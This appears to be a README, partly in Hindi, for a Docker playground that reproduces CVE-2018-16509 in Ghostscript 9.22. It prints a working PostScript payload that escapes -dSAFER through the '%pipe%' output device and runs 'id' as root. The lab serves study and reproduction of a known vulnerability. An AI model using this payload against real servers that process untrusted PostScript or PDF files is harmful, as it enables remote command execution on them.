rhpco/cve-2018-16509CVE-2018-16509 Docker Playground - Ghostscript कमांड निष्पादन
"Artifex Ghostscript 9.24 से पहले के संस्करणों में एक समस्या पाई गई थी। /invalidaccess अपवादों के प्रबंधन के दौरान "विशेषाधिकार बहाली" की जाँच में त्रुटि का उपयोग हमलावरों द्वारा किया जा सकता है जो निर्मित PostScript प्रदान करके "pipe" निर्देश का उपयोग करके कोड निष्पादित कर सकते हैं।" https://nvd.nist.gov/vuln/detail/CVE-2018-16509 https://access.redhat.com/security/cve/cve-2018-16509
docker build -t cve-2018-16509:latest .
docker exec -it `docker run -d cve-2018-16509:latest` bash
[root@400498314b62 ~]# gs -v
GPL Ghostscript 9.22 (2017-10-04)
Copyright (C) 2017 Artifex Software, Inc. All rights reserved.
gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/null
GS>legal
GS>{ null restore } stopped { pop } if
GS>legal
GS>mark /OutputFile (%pipe%id) currentdevice putdeviceprops
GS<1>showpage
uid=0(root) gid=0(root) groups=0(root)
[root@400498314b62 ~]#